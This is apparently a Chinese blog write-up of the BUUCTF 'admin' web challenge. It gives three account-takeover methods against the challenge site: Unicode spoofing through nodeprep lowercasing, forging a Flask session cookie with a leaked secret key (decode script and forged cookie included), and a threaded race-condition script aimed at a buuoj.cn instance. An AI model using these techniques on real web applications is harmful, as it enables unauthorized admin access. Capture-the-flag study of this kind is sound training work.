天天看點

web學習 --------admin(buuctf)

admin,雖然這道題弱密碼過了,但是為了尊重出題人,還是走一波流程

解法一:Unicode欺騙

關鍵代碼:

def strlower(username):
    username = nodeprep.prepare(username)
    return username
           

而在注冊時使用了一次strlower,修改密碼時使用了一次,

web學習 --------admin(buuctf)
web學習 --------admin(buuctf)

就是因為如此,是以有了Unicode欺騙,在python裡測試一下,在此網站可找對應字元(https://unicode-table.com/en/search/?q=+%09Modifier+Letter+Capital+A)

使用如下腳本:

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
def strlower(username):
    username = nodeprep.prepare(username)
    return username
print strlower(u'\u1d2c\u1d30\u1d39\u1d35\u1d3a')# ᴬᴰᴹᴵᴺ 的unicode編碼為:\u1d2c\u1d30\u1d39\u1d35\u1d3a
print strlower(strlower(u'\u1d2c\u1d30\u1d39\u1d35\u1d3a'))
           

以上腳本的結果是ᴬᴰᴹᴵᴺ —>ADMIN----->admin

是以若是我們注冊一個使用者名為ᴬᴰᴹᴵᴺ的賬戶,進行了一次strlower,轉成ADMIN,登入這個賬戶去修改密碼,修改密碼完成時使用者名為admin,此時admin的密碼就變成了我們修改的密碼;

解法二:flask session僞造

這是flask是一大缺陷,不過官方已有更新檔。

下來源碼之後知道使用的flask架構,而flask對資料加密使用的是簽名,由于flask并沒有提供加密操作,是以其session的全部内容都是可以在用戶端讀取的,有了session,還需要簽名才能進行加密,而簽名可以在config.py中找到:

web學習 --------admin(buuctf)

解密代碼:

注意:python2和python3使用的生成機制不一樣,這道題python2生成的session不能進行加密,是以使用python3

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
           

使用方法:python seesion.py your_session

以下是解密結果

web學習 --------admin(buuctf)

結果:

{'_fresh': True, '_id': b'0cdec23d95c1d1e8689f787926192c9bba09f14e0c112a72bb1486f744e4155436a00626fcdd21a2f53d53bed3ea8462c01500c6c5f59251a7412a8e42b74c33', 'csrf_token': b'99452e0fc18ede5382cd5975c2ed780d07862794', 'image': b'uHhJ', 'name': 'admim', 'user_id': '10'}

           

現在我們得到了session。key為ckj123,既然找到了key,那就說明僞造session這條路可通;

從github上下下來加密腳本,腳本使用方法為:python flask_session_cookie_manager2.py encode -s “ckj123” -t “僞造session”

這裡的僞造session為:

{’_fresh’: True, ‘_id’: b’0cdec23d95c1d1e8689f787926192c9bba09f14e0c112a72bb1486f744e4155436a00626fcdd21a2f53d53bed3ea8462c01500c6c5f59251a7412a8e42b74c33’, ‘csrf_token’: b’99452e0fc18ede5382cd5975c2ed780d07862794’, ‘image’: b’uHhJ’, ‘name’: ‘admin’, ‘user_id’: ‘10’}

進行加密(注意必須是雙引号)

結果:

.eJxVkMGKgzAQhl9lybkHtXop9OASVxRmgt1ISC6lm1o1agu2pZrSd99sF7rsYS7z_XzM_HeyPYzVuSGry3itFmTb7snqTt6-yIpAip0SMENQRChgUvSjZ1SGTMglozoCIyfGc8NE3koeR8oknuLvBngyS65nOWQT0jpQRnuYlh7w0kcKgcve0GSBGpyfZpPk-YAcOzetEoVVIgmRylnaeEKXlVYZFNJnPPNBJEukP_6mR5q3aDcGLKzJY0H0eTxsL6euOr5eYLzzkOc9pMqd1fQqLX2w9SyDwum0L23eK6pDSIsb2joAoyOM109dO-zq6mXal83ps_4lx93wB6TYXHYifILruRr_Nchjt398A4RucXk.XePAoQ.qvqVxpkBZoFQ6WyKadUljjQddxo
           
web學習 --------admin(buuctf)

将此session替換掉原本的,就能得到flag了。

解法三:條件競争

在源碼裡可以看到:

web學習 --------admin(buuctf)
web學習 --------admin(buuctf)

登入和修改密碼都是先賦session,後驗證身份;

這裡我隻寫思路,因為複現不了

通過登入123使用者,得到123的session,之後用此session去登入admin,因為先指派後驗證,是以可以覆寫session,修改密碼,這時候我們修改的密碼就是admin的密碼了

而session是登入後的,是以不可能在網頁上進行兩個賬戶的同時登陸,是以我們需要兩個程序,

一個程序登入123,進行修改密碼,另一個程序在123退出時,登admin并且剛好來到修改密碼的地方;

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://8575e033-769a-4e83-ab1d-d2997f76fa88.node3.buuoj.cn/login", data=data)

def logout(s):
    return s.get("http://8575e033-769a-4e83-ab1d-d2997f76fa88.node3.buuoj.cn/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://8575e033-769a-4e83-ab1d-d2997f76fa88.node3.buuoj.cn/change", data=data)

def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index" target="_blank" rel="external nofollow" >/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()